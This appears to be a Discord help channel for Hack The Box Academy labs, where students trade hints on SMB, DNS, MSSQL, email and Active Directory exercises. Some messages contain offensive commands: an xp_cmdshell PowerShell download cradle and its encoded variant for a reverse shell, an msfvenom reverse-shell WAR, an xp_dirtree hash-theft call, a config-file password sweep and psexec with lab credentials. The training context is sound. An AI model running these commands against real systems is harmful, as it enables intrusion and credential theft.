how good is a successful evil-winrm login on administrator for passwd lab hard

[arctic sentinel]

Hello! Anyone working with the attacking common services modules! the attacking smb section!

[autumn pilot]

do you have a specific question about the exercise or in general you are seeking to do it with other person as well?

[arctic sentinel]

Im stuck in a part of the exercise, Ive tried some things but running out of ideas!

[autumn pilot]

There are like 3 questions, mind sharing on which one of them you are stuck?

[arctic sentinel]

I`m trying to find the password for the user, but I brute force with the resource list and get nothing... I tried to download the id_rsa file through the NULL session but I get access denied...

Im looking for the enum4linux-ng.py that the cheatsheet mentions but I cant find it in github...

[autumn pilot]

You have the username and you have a potential password list, use them

[arctic sentinel]

I used them but it`s doesnt find any matching password...

I tried both hydra and crackmapexec...

I tried to both smb and ssh protocol

I must be doing something wrong...

[autumn pilot]

The password is there, work on your commands

[arctic sentinel]

there must be something else than just typing the commands....

[arctic sentinel]

If I use crackmapexec against the target with the password list provided in the resources of the module I should get the password.... I tried many times and I get nothing...

[autumn pilot]

it is very important how you craft your command

[arctic sentinel]

crackmapexec smb 10.129.56.219 -u jason -p ./pass.txt

I will check other ways to craft it...

I will try with .list instead of .txt

[autumn pilot]

a machine could have a hostname, and that hostname might be required to be used for certain actions

[arctic sentinel]

I have the host name ATTCSVC-LINUX

I haven`t use crackmap without the ip...

Im reading the manual and I cant find anywhere the hostname option....

I can use a -d ...

[autumn pilot]

go for it then

[arctic sentinel]

Got it!

Now I`m looking for the command to use the private key I got!

any useful guide where these commands appear?!?!

[autumn pilot]

man ssh

[arctic sentinel]

Got it!!!

Thaaaaanks!!!!

[rustic sage]

Hi

Can I get some help with "Footprinting lab - medium"?
||I have a shell and currently interacting with sqlcmd but I don't have permissions to view "accounts" database. I know I am close but there is something I am missing. ||

[arctic sentinel]

pm if you want!

[rustic sage]

Sure, thanks

[old hound]

I'm doing the the Windows Priv Escalation Skills Assessment Part 1
But I cant ping the target machine
100% packet loss
Anyone with that problem too?

[coarse oak]

In Attacking Common Applications - Attacking GitLab, is there any hint to what users wordlist to use? I think I've used everyone in /usr/share/seclists/Usernames, and now at the xato ones. But I have to pause and resume every time the box times out. I'm doing the attack through Burpsuite. I've found some valid usernames, but nothing that is accepted as the answer.

[storm jackal]

Try one of the unconventional wordlists in that directory and it should work

[storm jackal]

I can't ping either. Is it still broken for you?

[old hound]

yea

I went to the #1024429874246590575 and I have seen that they could be down for maintenance

[storm jackal]

ahhh okay. I guess that explains why it took me a while to connect over vpn too

[livid bluff]

Hi,
I am again blocked on the file upload module.
It is one of the least complicated modules and yet I am still stuck ...
In the section filter type.
I found an authorized extension, I use the double extension.
I have a content-type which is an image and I added the MIME.
The shell is well uploaded but instead of executing the php code it displays it in Burp and in the browser it tells me that there is an error in the file.

[storm jackal]

The content of your web request and the Content-Type are mismatched. GIF8 != JPEG

[livid bluff]

I have the same with the same extension and content-type.
I have try many request with many extension.
The only MIME accepted i have found is GIF8

[runic rover]

Dm

[old hound]

no spoilers please

[old hound]

still no connection

[storm jackal]

same can't connect to any modules

[rustic sage]

O

[toxic sedge]

i am new how tto yuse

[plucky bobcat]

hash

[toxic sedge]

means

[uncut meadow]

Hi, Im stucked in Attacking common services - Attacking DNS module. Can somebody give me a hint?

[marble raft]

What exactly you're stuck on?

[uncut meadow]

I have found subdomains but Im not able to transfer attack those names

I guess that's what I have to do but question is not so clear for me

[marble raft]

Did you add inlanefreight.htb to your /etc/hosts? You could either try to get a zone transfer with dig based on the name servers you have gathered or you could bruteforce the subdomains with subbrute

[uncut meadow]

yes I add every discovered domains in /etc/hosts and I axfr attacked every domains but nothing.

Can I DM you?

[marble raft]

yeah sure!!

[toxic sedge]

i am new

how i sumbit root flag

[hollow obsidian]

i'm stuck on that too, are you on meow

@toxic sedge i'm stuck on that too, are you on meow

[toxic sedge]

i know

how todo

do windows key +r

[graceful rampart]

Please don't have this conversation in this channel. It's not in the slightest bit related ti HTB Academy modules

[hollow obsidian]

ok

[toxic sedge]

and type machine ip adress

[hollow obsidian]

@graceful rampart although this is coming up as Academy modules?

[graceful rampart]

Yes. This channel is for academy modules. You guys are discussing starting point machines which are not a part of htb academy

[old hound]

still the same

[rustic sage]

Yo

Who wants to playe server siege

1v1

[sharp cove]

#battlegrounds

[graceful rampart]

Check #1024429874246590575 many servers are undergoing maintenance

[old hound]

extended maintenance*

[arctic sentinel]

Hello! Anyone working with the attacking SQL section?!

[autumn pilot]

whats your question

[arctic sentinel]

Im trying to steal the hash but I cant get the command right...

I type the command in the sql... and then in my pawnbox happens nothing...

How do I even know if I typing the right command...

[fathom pendant]

Are you getting a new line when you hit enter?

Are you ending the SQL query with ;

[arctic sentinel]

I`m using the mssqlclient.py, when I type any of the commands with ;

it`s not working

the mysql doesnt work I dont know why

[graceful rampart]

Unless you show us a screenshot or an error message there isn't much anyone can do to help you

[fathom pendant]

"it's not working" leaves a lot open to interpretation

[arctic sentinel]

I know! sorry!

I type this in the sql

[graceful rampart]

There's an extra period at the end of that IP

[arctic sentinel]

and then this in my pawnbox

Main thing is that I dont know if it should work... Im trying to follow the section...

[graceful rampart]

Yes. Youredoing it right. You have an extra period in the IP in your SQL command. It should be EXEC master..xp/dirtree '\\10.129.74.243\share'

[arctic sentinel]

I dont see any "share" folder created in my machine... its kind of awkward that I will work

[autumn pilot]

this is not the IP that you should use

[graceful rampart]

That too

But there's also an extra period

[marble raft]

Tux did you finish the Broken Authentication Module? If so, could you give me a nudge on the right direction on the Skills Assessment section? I've been stuck at enumerating users and can't seem to find any.

[arctic sentinel]

I tried with my IP but it doesn`t work...

[autumn pilot]

following the examples in the section of the module will help you go through, carefully go through them in order to understand the methodology and tools

try to visualise what needs to happen, once you've managed to do that

you will be able to get the desired result

[arctic sentinel]

They don`t explain much the commands they use... I assume "something" called share must be created in my machine...

neither responder or impacket work...

[autumn pilot]

both sql command examples have a description what will happen, even if its a short one

[arctic sentinel]

I think I got it

[young cave]

hey guys, i need a little help with the bash scripting module.
Submit the echo statement that would print "www2.inlanefreight.com" when running the last "Arrays.sh" script.
Can anyone help out with the answer format?

[sterile spindle]

HTB will not allow me to logg in even though it my first time today to try to logg in. I keep getting the message about new users only being allowed to log in once a day.

never mind. It suddenly let me in.

[rustic sage]

Hey am doing File Transfers, am on the Windows File Transfer Methods, on the question "Upload the attached file named upload_win.zip to the target using the method of your choice. Once uploaded, RDP to the box, unzip the archive, and run "hasher upload_win.txt" from the command line. Submit the generated hash as your answer.". I managed to upload the file I manged to unzip it, but when am running hasher I get "User do not have permission to read the file.". Is it the way i uploaded the file or should i escalate privileges to be able to run hasher?

[sterile mirage]

Hello,
In the active Infrastructure identification module, how do I add the vhosts?
In which module do I see that?

[rustic sage]

I'm absolutely stuk on the Password Attacks module, section Password Reuse / Default Passwords

[arctic sentinel]

Hello again! I`m trying to unhash the password, but with hashcat I get this...

The hex means it`s zipped?!

[rustic sage]

I found the users sam, kira and will. That's it. I cannot figure out how to proceed.

[arctic sentinel]

or I should use another wordlist...

[acoustic owl]

from which module is this?

[arctic sentinel]

Attacking common services, attacking SQL

[acoustic owl]

Search the Internet for standard passwords for MySQL

[acoustic owl]

How did you get this hash? DM me

[rustic sage]

I don't know what I'm missing. I already googled and foot r*** as a default user without a password. But it doesn't work.

[sterile mirage]

Hello,
In the active Infrastructure identification module, how do I add the vhosts?
In which module do I see that?

[rustic sage]

At the 2nd assessment of Brute Forcing they refer to an employee name you already know, do they refer to the username used in the previous skill assessment to login into the admin page?

Nvm, got it!

That threw me off lol

[acoustic owl]

This might help you
|| https://github.com/ihebski/DefaultCreds-cheat-sheet ||

[quasi moth]

Hi, can somebody help with the last task in Login Brute Forcing?

[acoustic owl]

this one?

Once you are in, you should find that another user exists in server. Try to brute force their login, and get their flag.

[frigid monolith]

Anyone here got a sec to validate something on shells and payloads?

I think I know the right exploit its just not where the hint referred me to

[quasi moth]

Yes

[arctic sentinel]

Anyone knows where can I find the commands to use with mssqlclient.py?!?

[rustic sage]

Just a quick question does the answer to this section require tunneling or pivoting by any chance?

[placid quest]

@rustic sage no

[rustic sage]

I just got the correct answer, finally. But i found out by just typing in all the possible answers from the list Bunny gave me. But i doubt that was the right way to do it. I tried hydra -C ... But that didnt work. I also couldn't find an open port for MySQL.

Now i got the right answer by luck, nothing more. But i don't know what I missed and what i was supposed to learn from this and how this will help me in the future.

[solid python]

Anybody have a nudge for the hard lab for NMAP enumeration?

Hint is oh so confusing on what it wants from me.

[acoustic owl]

Default passwords are often still used. It makes sense to simply try out a few default passwords.

[rustic sage]

Okay. I though I was supposed the use Hydra -C user_pass.list MySQL://target, but maybe I assumed wrong.

I also assumed there was a connection with the previous credentials, because of the question. But apparently I was mistaken.

[acoustic owl]

Yes, this lesson is not about Hydra, but about standard passwords and how to get them.

[rustic sage]

Okay, got it. I was completely thrown off by the way the question was formulated and the information given about Hydra -C in that section, lol. Good to know. This one absolutely had me pulling my hair out.

[graceful rampart]

Ooo. I see you passed CPTS. Was that recent or did your role just take a bit to update?

[acoustic owl]

I got the role very quickly.

[graceful rampart]

Nice. Congrats on passing!

[acoustic owl]

Today I got the certificate, asked the admin if I could get the role and shortly afterwards I got the role.

[acoustic owl]

Thanks

[graceful rampart]

I hope to be there soon

[placid quest]

@acoustic owl congratulations 🎊 👏 💐 🥳 🙌

[acoustic owl]

Thanks

[leaden quail]

@acoustic owl nice job

how many days did you need?

[fathom pendant]

Congrats @acoustic owl

[acoustic owl]

2x 10 days

[leaden quail]

long journey

[tiny ledge]

What happened with parrot terminal showing our own IP?

You need it so often, and it was handy to have there, why is it gone ?

like so:

[storm comet]

Hello, I downloaded and connected to the vpn and I'm able to do a ping and a nmap of the target machine
But i can't acces the webpage that it have can somebody help me?

I'm trying with Photobomb

[rustic sage]

@acoustic owl how many days did u study for the test? Any tips?

[acoustic owl]

Is the page perhaps running on a different port?
The best thing to do is to ask in the right channel #boxes

[acoustic owl]

I don't know, I never looked at the time.
I started about 1.5 years ago.

[rustic sage]

I see, i guess that is how long i need to study too then :p. Just started academy two days ago. Just did linux fundamentels and doing mac OS rn.

Does anyone know if there is a way to link my academy profile to discord?

[storm comet]

Its the default port, but it shows this message

If that address is correct, here are three other things you can try:

Try again later.
Check your network connection.
If you are connected but behind a firewall, check that Firefox has permission to access the Web.

I think i have to verify my account to see #boxes

[acoustic owl]

Yes, you have to verify your Account

[old hound]

what is the best way to find a password in .txt file using a cmd oneliner?

[thorn urchin]

grep

[old hound]

recursively? for the hole C: AND I have to change the directory

[quasi moth]

Hi, can somebody help with the last task in Login Brute Forcing?

[rustic sage]

I am doing Attacking SMB section under the Attacking Services Modules, I have found the share but do not access to get the contents of the share. I have tried bruteforcing with the user jason and robin, to know success withcrackmapexec.

Unsure what to do here

[fathom pendant]

Grep "pattern" C:\\*

[old hound]

and for windows?

[fathom pendant]

?

I'm not familiar with the text commands for windows

[flat oxide]

Can someone help me with Session Hijacking in XSS Module?

[old hound]

cd C:\ & cd & findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
guess this one does work

[fathom pendant]

Why not .* After "password"

[old hound]

/C:string Uses specified string as a literal search string.

[fathom pendant]

Well yes, I just mean when specifying the file type

[old hound]

good question but I guess you want to reduce the noise

[real cedar]

Cheers!
I am working on AD Enumeration & Attack - Skills Assessment Part II. I am trying to answer question 4, but I just dont get it. I|| created a userlist and got quite a lot of usernames with two letters and 3 numbers. I also sprayed all those users with the password I found for the first user against every machine, with no luck. Using rockyou came to mind, did it for around 15 minutes, but the progress is quite slow.|| I would appreciated any nudges.

[graceful rampart]

Try some common passwords that were mentioned in the password spraying section

[rustic sage]

Hi. I'm stuck at:
https://academy.hackthebox.com/module/80/section/777

||I identified that I need to use: Uppercase/Lowercase/Numbers, I used the :upper: :lower: :digit: regex which gave me 5 passwords. They don't work. What am I doing wrong. Any nudge would help!||

[sly tapir]

i used sed for this module

[rustic sage]

Alright thanks I'm going to find out what that is and give it a try!

[unreal grail]

Can someone knows about that error? I tried both with and without -smb2 options.

[sly tapir]

also, if you have a excel spreadsheet handy, making a tried passwords (lower,upper, etc.) helps too

[high sentinel]

looks like there's an issue with direct connection to the target

can you ping it? can you access the service?

[rustic sage]

Ah that's smart, I'll try that too, thanks

[unreal grail]

I can join the target yes, I can't ping it, but I can join it

[high sentinel]

what do you mean by join? If you can't ping the box how do you want to relay to it? that doesn't make sense

[main ridge]

Hi everyone. Today, after finishing the Information Security Foundations skill path, I'm beginning with the Penetration Tester job path and I'm looking for a study partner, if anyone is interested feel free to dm me 🙂

[high sentinel]

what kind of testing are you doing to do? 😄

[main ridge]

When I finish with the Job path I would like to do the CPTS

[high sentinel]

the job path? 😮 is that an academy thing? i though you were talking about doing a real pentesting job 😄

[main ridge]

yes, it's an academy "job path"

Penetration tester Job path

[thorn falcon]

can someone tell me how to fix this "Match file name by removing repeated file extension [example .accdb] then re-upload."!?

[rustic sage]

Can I DM you?

[sly tapir]

yea

[high sentinel]

what's it related to?

[thorn falcon]

A file i'm trying to upload to SAM Cengage from Access.

But idk how to remove the repeated file....

[high sentinel]

i have no clue what any of those words mean 😄

[old hound]

I may need a hint with the Windows Privilege Assessment Part 1.
Question: "Find the password for the ldapadmin account somewhere on the system."

I just can't find it.
I skipped it and I am already NT Authority\System but still cant find it

[thorn falcon]

Lmao Cengage is a website for college students

SAM is also a website that we turn our work into..

[high sentinel]

so there's no connection to the htb academy?

[high sentinel]

dumped users?

[thorn falcon]

I don't think so

[high sentinel]

why are you asking here then omg? 😄

[high sentinel]

hello, do you have some crack for sale?

[night flax]

Hi! Guys, I’ve been taking the course for pentesting, and I’ve been trying to scan the ip in the course, but must of the time, it said that the host is down. I have tried connecting to the academy vpn and everything, but it doesn’t work anyway, any idea of what happening ? 🤔

[thorn falcon]

-_- nu

[high sentinel]

is the IP public or private?

[thorn falcon]

Just thought one of you knew how to delete repeated file

[night flax]

I mean, I think the ip is public,

[high sentinel]

then VPN is not needed, meaning you can scan anything in the internet. If it's something like 10.10.x.y then it's private. https://en.wikipedia.org/wiki/Private_network

[night flax]

I’ll check that, thank you 🙏🏾

[night flax]

checking the ip example that you are giving me, it seems that the ip that I am trying to scan is private.

[still yacht]

Hi I need some help with module/116/section/1512 I cant seem to get the subbrute to get the DNS that includes the flag? I put the target ip in etc/hosts as "ip ns1.inlanefreight.htb"

any suggestions

[high sentinel]

vpn is needed then. If your vpn works fine, then use -Pn with nmap

[old hound]

thx

[modest isle]

Good morning guys

Anyone awake now?

[stone jacinth]

lol

[modest isle]

What's funny now:>?

I need help with the Academy please

[stone jacinth]

what is it?

[coarse oak]

Wow man, I must be doing something stupid here. I have used all the lists now from the Usernames directory, except the xato ones... and still no hits.

[modest isle]

I am currently in the Linux Fundental module tho.

[stone jacinth]

ok

[modest isle]

I don't this queation" What is the path to the htb-student's mail?

I've been checking every content i the directory but there's nothing found there

Got an idea with the user's mail path??

[fathom pendant]

/mail/

[ripe terrace]

Up to AD enumeration and attacks. Here we go

[wheat garden]

[hard dew]

I've started my CPTS journey and seem to have run into snag. I'm probably over thinking this but having trouble determining service version in Firewall and IDS/IPS Evasion - Hard Lab, I think ive figured out which port but cant seem to get the service version

[fathom pendant]

Have you tried connecting to it?

[hard dew]

yeah get a timeout

[fathom pendant]

Strange

[fresh reef]

Stuck on Attacking Email Services. I've grabbed the creds and just need to login to read the emails... connecting to imap server via curl isn't working and telnet/nc arent useful here....(right??) ...Please help lol @.@

[fathom pendant]

There is just the IMAP connection type...

That is taught in the module

Or you can be big brain and use an email client

[ripe terrace]

Evolution FTW.

[fresh reef]

0.0 Am I Blind~~~? lol

[hard dew]

gonna try spinning up the cloud pwnbox provided, maybe a vpn issue

[fresh reef]

Lol heard, ill break down and read evo Docs, i got away with curl for so long haha

thank you

[ripe terrace]

I mean, it's not required, but I find it easier/quicker to visually work my way through a mailbox rather than interacting with IMAP/POP over the CLI.

[fathom pendant]

^

[hard dew]

i must have the wrong port getting a timeout in the cloud box as well

[fathom pendant]

DM me the ports you see and the port you're trying?

[uneven falcon]

can someone help me with " submit root flag " on dashboard

[fathom pendant]

you should probably change your discord username to be taggable per the #rules :)

[uneven falcon]

uhmm, sure, and can you help me ?

[unreal grail]

I'm looking for someone that is done with the Crackmapexec module 🙂

[fathom pendant]

is dashboard a box? if so your question is better asked in #boxes ; if you cannot see that channel; then you can verify your htb account in #bot-commands

[raven maple]

Is anyone able to assist me with the Footprinting Module and the DNS section. I've been stuck on the last question for the longest time. Attempting several different brute forces from the dig transfers.

[fathom pendant]

is that the one with the "x.x.x.203"?

[raven maple]

yeah

[fathom pendant]

subdomains of subdomains, and may need a more ferocious wordlist ;)

[raven maple]

Ill give that a shot. I've been trying so many variations for this lol.

[fathom pendant]

the word list is in the dns discovery lists in seclists

if that helps narrow it down

[raven maple]

Yeah 🙂

Ill give it a shot ❤️

[fathom pendant]

but remember the subdomains you found can have their own subdomains

and technically i don't think there's a limit to how many subdomains there are like a.b.c.e.f.g.h.i.j.k.example.com

[raven maple]

Thats even more fun haha

[fathom pendant]

but you don't need to really go that far with the right wordlist

just a thing you may see in other examples of like an admin.whatever.other.subdomain.example.com

[raven maple]

Just curious. When you are using dnsenum, the IP that you use is it the original IP of the target IP or is it the one you find after zone transfers.

[uneven falcon]

tysm for your help

[fathom pendant]

you still use the original IP iirc

[raven maple]

Okay. That may save me some time.

[fathom pendant]

yep; it's just changing from the inlanefreight.htb to subdomain.inlanefreight.htb

[raven maple]

ah okay, that makes more sense. Thank you 🙂

[fathom pendant]

and of course; the right wordlist, because the top lists will not have it

[twin vine]

For anyone struggling with Attacking Common Services - Medium, there's actually 6 open ports. Had to reset the target a few time to get more result.

[still yacht]

thanks

did try it to but only got 4

@twin vine should it work to find all ports with a normal nmap scan? or does it want -p-

[twin vine]

Don't know why -p- doesn't work every time.

[woeful ermine]

Well some of the packages you are sending might drop or the one coming back

[shadow stratus]

Hi! I'm from Poland. I don't know anything about hacking, but I'd like to learn about the API. because there is such an application as ,,żabka,, and there are points to collect in it. apparently yes can be added to the application using the API. if he would like to help the cat, I would be grateful 😅

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom pendant]

as far as API not much we can help on that

This really isn't the place to ask for this assistance; please read #welcome ; as this channel is for assistance with modules found on https://academy.hackthebox.com ; to access other channels you will need to verify your hack the box account ( https://www.hackthebox.com ) I understand you found this server through searching "hacking" on the search - but if you read #welcome it should tell you what this server is about

[shadow stratus]

Okay thanks ❤️

[rustic sage]

IF YOUVE DONE ACTIVE DIRECTORY SKILLS PLEASE DM ME ILL GIVE U TACO FLAVORED KIIIISSSSSES

oops sry for caps

[fathom pendant]

clam it down sir

[rustic sage]

lol

[fathom pendant]

sometimes that do be how it is

[near hinge]

did you got the answers yet? because i've got the same problem

[autumn pilot]

make sure you have ssh'd into the target

[near hinge]

already did that but still can't find the user's mail path

[autumn pilot]

okay, then try to use the find command

also you can check the environment variables

[real cedar]

Got it, appreciate the help. Thanks!

[sinful falcon]

Wow, was not easy but I did it 🤣

[low vine]

Great work!

[sinful falcon]

Thanks

[sly nebula]

For anyone struggling with CME not working due to a TypeError in aardwolf:

...
TypeError: unsupported operand type(s) for |: 'type' and 'type'

Please apply the following patch:
https://github.com/skelsec/aardwolf/pull/10

[hushed cosmos]

Hello! i have the same problem, can you help me?

[rustic sage]

I'll take a look

[arctic sentinel]

Good morning from Europeeee

Anyone working with attacking DNS!

[ripe terrace]

I started that earlier today... it's a whopper of a module! Good job. I'm 1/3 of the way through.

[leaden quail]

Hey Guys, How can i build Snaffler.exe or Rubeus.exe

wehn i download the Github Repos there are no exe files and no explaination how to install/build it.

[sinful falcon]

https://github.com/SnaffCon/Snaffler/releases

[sinful falcon]

Good luck

[sinful falcon]

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

[leaden quail]

Thank you!

[summer lava]

ON PIVOTING, TUNNELING, AND PORT FORWARDING module
Skills Assessment

how do i transfer the lsass back to my attack host

[dim cosmos]

the --local-auth requirement in the SMB attacking common services had me pulling my hair out lol

[storm jackal]

I still don't really understand that flag. Is it for accounts you are trying to log into that aren't domain connected? If I get account creds I usually just try both now to see if any work

[dim cosmos]

as i now believe i understand it, we were trying to brute-force his local host creds not his domain creds

[storm jackal]

I used impacket's smbserver...pay attention to file permissions too or else the transfer will fail

[dim cosmos]

the problem with little parameters missing off brute-forcing is that you always assume your wordlist is wrong not your command 😛

[summer lava]

yes, i noticed that.. i tried transfering the folder but it fails

[storm jackal]

Yeah I'm pretty sure you'll only need the dump. It should be faster that way too

[summer lava]

what permission should be given

[storm jackal]

I just gave Full Control for the account. You should also look at the sharing permissions too if you plan to use the SMB server method

[dim cosmos]

you might need to use -smb2support also?

[storm jackal]

Yeah, good catch, that option is helpful for setting up the smb server

[dim cosmos]

are you working through the job path Gate?

[summer lava]

yeah, i did the transfer but i think i'm missing something.. it says No Module named impacket

[storm jackal]

Okay seems like you're getting there...you might not have impacket tools though

pip install impacket

[summer lava]

it works well, when i run python smbserver.py on my local host

[storm jackal]

oh okay good

[summer lava]

but when i transfer it to the linux machine.. it doesn't

[dim cosmos]

about to start the AD enumeration and attacks module, better grab a few litres of red bull

[storm jackal]

There are a few ways of connecting to a hosted smb server from a windows machine. The way I described above was my method of file transfer for that section but there are many ways that may work better for you. Check out https://lolbas-project.github.io/ and search /upload to find some built-in binaries for upload

[arctic sentinel]

Hello, anyone working around the attacking DNS module?!?!

[woeful ermine]

there is no module like that

[woeful ermine]

it is a section from some module prob. but I dont remember. Be more spesific

[arctic sentinel]

Yeap, it`s from the attacking common services module!

Im using the tool subbrute but I cant make it work 😦

[woeful ermine]

ohh

I had also problems with that part

what did you done so far?

[arctic sentinel]

Im going through many different names in the resolvers.txt file but doesnt find anything....

[woeful ermine]

have you add the ip and domain name to the /etc/hosts

[arctic sentinel]

I have tried that but now I realize maybe I did it with .com instead of .htb

I will try that...

[woeful ermine]

you should add that it doesnt work otherwise. If it is .htb you definitely need to add that

[simple zephyr]

I am working on attacking common services hard and trying to get a reverseshell through cmdshell. Can someone help me with my syntax. I am sure there are other ways to get the flag, but i want to test this out.|| EXECUTE ('xp_cmdshell ''powershell IEX-New-Object Net.webclient).downloadString('http://10.10.14.10.2/rev1.ps1')'')') AT [LOCAL.TEST.LINKED.SRV]||

[woeful ermine]

yeah I hate that part

[arctic sentinel]

I`m not there yet 😦 😦 Hopefully in the weekend I can start working on those labs!

[woeful ermine]

you need to go slowly and add " everytime it says there is problem

hahaha

[simple zephyr]

a better image

i got others to work, just all the ' within the command is messing me up lol

[arctic sentinel]

Now it takes forever and only finds 1 extra domain....

is there something with the ns1.inlafreight.htb that I need to change...

[woeful ermine]

there are 2 ( and there are 4 ) . I mean comm onnn hahahaha

[simple zephyr]

i am shitty as SQL lol be nice

[woeful ermine]

Yeah I was feeling the same. hahah

[simple zephyr]

do you mind DMing me an example

[woeful ermine]

well I wasnt go crazy like you. My commands were pretty simple

hahaha

like this

EXECUTE('xp_cmdshell ''dir C:\users''') AT [local.test.linked.srv]

[simple zephyr]

yeah i just want to see if i can get a reverseshell

[woeful ermine]

thats another one works

EXECUTE('sp_configure ''xp_cmdshell'', ''1''') AT [local.test.linked.srv]

you need to put more ' and fix paranthesis issue

[woeful ermine]

It is pretty slow, unfortunately 😦

[simple zephyr]

yeah i have tried many different combinations and cant get it 😦

[woeful ermine]

but it gives you an error saying this part have problem

it should guide you

[arctic sentinel]

Ok... 🙂

[simple zephyr]

1> EXECUTE ('xp_cmdshell (''powershell IEX-New-Object Net.webclient).downloadString('''http://10.10.14.10.2/rev1.ps1''')'')') AT [LOCAL.TEST.LINKED.SRV]
2> go
Msg 102, Level 15, State 1
Server 'WIN-HARD\SQLEXPRESS', Line 1
Incorrect syntax near 'http:'.

[river skiff]

You have five instead of four octets in your .downloadString.

[simple zephyr]

ooo shit thanks

[graceful rampart]

If you wanna make your life easier you can use certutil to do the download and drop the file to disk. Then execute it in a second command

It's not going to play nice with you using single quotes in the powershell command

[carmine quail]

just looking at your syntax... you didn't close the ' nor the "

[simple zephyr]

yeah i figured I attempted to convert to base to just run it, but I was limited to characters

[graceful rampart]

Yea. There are definetly ways to do it without dropping anything to disk but it's gonna be a decent headache to pull off

[simple zephyr]

do you mind providing me an example of what it should look like

I have 7 min left on the box lol and trying not to reset it again haha

[arctic sentinel]

Nearly 10 minutes and nothing... should I try something else?!

[carmine quail]

I would try this @simple zephyr EXEC master..xp_cmdshell 'powershell.exe -nop -exec bypass -w1 -enc "SUVYIChpd3IgJ2h0dHA6Ly8xMC4xMC4xNC4xMC4yL3JldjEucHMxJykK"'

but I haven't tested that yet to see if it works - I'm not logged in to HTB atm

@simple zephyr I also just noticed something BIG in your command that will cause it to error out... your IP address is poorly formatted: http://10.10.14.10.2/rev1.ps1 there's too many octets

the encoded portion I have there represents the following command IEX (iwr 'http://10.10.14.10.2/rev1.ps1')

[simple zephyr]

yeah i fixed that... thanks I am going to give that a try. Also I guess I could have used my RDP connection to transfer the file also, but this is one of my weaknesses thats why I am trying to explore more than what is required.

have to head to work, so I will spin it up tonight or on my lunch break and give it a try.

[zenith gazelle]

Im doing the hard lab of nmap, and im having a hard time, i already scan and find a port filtered with db2. Tryed every type of scan (-sA, -sT, -sS / -T 1 ...)
Can someone help and say if im in the right direction or what am i missing?

[flat oxide]

Can I dm someone for the XSS assessment?

[sly nebula]

Kudos to the authors of the "USING CRACKMAPEXEC" module. I can only imagine how much effort must have been put into the final assessment. Nice job!

[flat oxide]

dm me

[zenith gazelle]

@flat oxide okay, i already did

[fathom pendant]

Well can you connect?

[rustic sage]

I am doing Attacking SMB section under the Attacking Services Modules, I have found the share but do not access to get the contents of the share. I have tried bruteforcing with the user jason and robin, to know success withcrackmapexec.

[zenith gazelle]

Yes, i already finish the lab

[old hound]

what does this mean?

[floral bone]

You've connected to your reverse shell on a target 🙂

if you type whoami - it will tell you who're connected as 🙂

[rustic sage]

Can anyone help me out with my problem?

[old hound]

well it instantly breaks

[young cave]

has anyone else ran into problems running crackmapexec? I finally managed to install it but it won't run

[graceful rampart]

The data coming through the connection isn't human readable

[acoustic owl]

Which list did you use?

[rustic sage]

the ones in the resources

Im very confused why its not working

[acoustic owl]

Try it with Metasploit

[rustic sage]

okay

[rustic sage]

it keeps giving me a false positive

the very first user and pass are always correct, when i try the user as jason or robin never get results

oh lol

nvm

Msfconsole works.

got the answer

[woeful ermine]

If I am not mistaken fiona is not a user under sql. You need to bypass that and login with rdp creds. Its in th module

[neat cape]

Hey everyone! I just completed the Footprinting -Easy lab. I did use the hint though. Is there anyone here who solved it without the hint? I would to talk about my notes and the gaps in them

[arctic sentinel]

In the attacking email services, the list provided doesn`t content the user... or should it be there...

I have tried several username lists but no luck

[woeful ermine]

it should be the one in the resources

[arctic sentinel]

nvm got it 🙂

[woeful ermine]

haha

[tidal kelp]

do you mind if i dm you?

[woeful ermine]

sure

[median fog]

I'm working on the skills assessment for the "Attacking Web Applications with Ffuf" module:
https://academy.hackthebox.com/module/54/section/511

The third question says:
"One of the pages you will identify should say 'You don't have access!'. What is the full page URL?"

I've identified that page (see screenshot) but when I paste in the URL it says "Incorrect answer". Do I need to do anything special with the formatting?

Edit: solved. As per the hint, you have to enter the word "PORT" rather than the actual port number.

[arctic sentinel]

Hello! Im in the attacking email servers section. Ive got the username and password but I don`t know how am I suppose to acces his mailbox

[woeful ermine]

have you done footprinting module

[arctic sentinel]

the commands of the pop3 doesnt work with this ESMTP console

I can`t list or do anything... only works the helo and other 2 commands

is there other way

[woeful ermine]

well the question is still the same

have you done footprinting

It takes a bit researching somethings not covered in th module

[arctic sentinel]

Yeah, but in footprinting I could use the normal USER PASS LIST RTRV commands

[woeful ermine]

If you taken notes open it check the things you ve done

or else take notes

hahaha

[arctic sentinel]

I have no notes over ESMTP commands

I just want to know if it is through here where I will enter the emails... maybe its in another place

[rustic sage]

hello

[arctic sentinel]

Got it... needed to access through another port... not 25... OBVIOUSLY it was not mentioned in the section...

[thorn urchin]

<@&861185840277487616>

thanks 👍

[surreal rain]

thanks

[tidal kelp]

has anyone finished this Attacking Common Services - Hard. could me help out / DM? thanks in advane. i have tried with sqlcmd but fail (edit: i connected and now Impersonating the "john" User, but i don't have role sysadmin)

[autumn pilot]

try something else

[arctic sentinel]

I `m about to start the easy lab of attacking services!!!

[thorn urchin]

lot of people have issue with sqsh, try mssqlclient instead

[graceful rampart]

Afaik sqsh is broken on parrot as of now

[rustic sage]

Hi folks....raw beginner a little stuck here. (Q. What is the path to the htb-student's mail?) I have navigated to mail and PWD. result is /var/mail

but apparantly im wrong

[fathom pendant]

add another / after mail

[rustic sage]

ahhhhhhhhhh, thankyou so much.

/var/mail/ still coming up as incorrect

[fathom pendant]

¯_(ツ)_/¯

[runic rampart]

Good evening!Who can help with HTTPs/TLS Attacks:TLS Attacks - Skills Assessment?

[fathom pendant]

https://dontasktoask.com/

[old hound]

Who can help with: Windows Priv escalation assessment part 2?

[dim hemlock]

Hi guys, Can someone re-direct me to the correct Channel please:
Basically at my company we might have been "Hacked" I have found the IP Address but I would like to know more about it... Maybe someone is intersted ?

[novel matrix]

No. Please read the #rules.

Otherwise, leave it to the company to handle.

[dim hemlock]

Ahaa okay got ittt

[sinful olive]

Can I get some help here?
Module: SHELLS & PAYLOADS, The Live Engagement
I finished everything besides the War file.. Tried everything...
used msfvenum to create shell war file, upload it, but I got 404, or 500..
└──╼ $msfvenom -p java/jsp_shell_reverse_tcp lhost=IP.. lport=PORT.. -f war -o shell.war
Tried any other method I found, but still no luck..

[echo roost]

psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125 - not working anyone else have issue with this in module -
Active Directory Enumeration & Attacks

Page 14
Credentialed Enumeration - from Linux

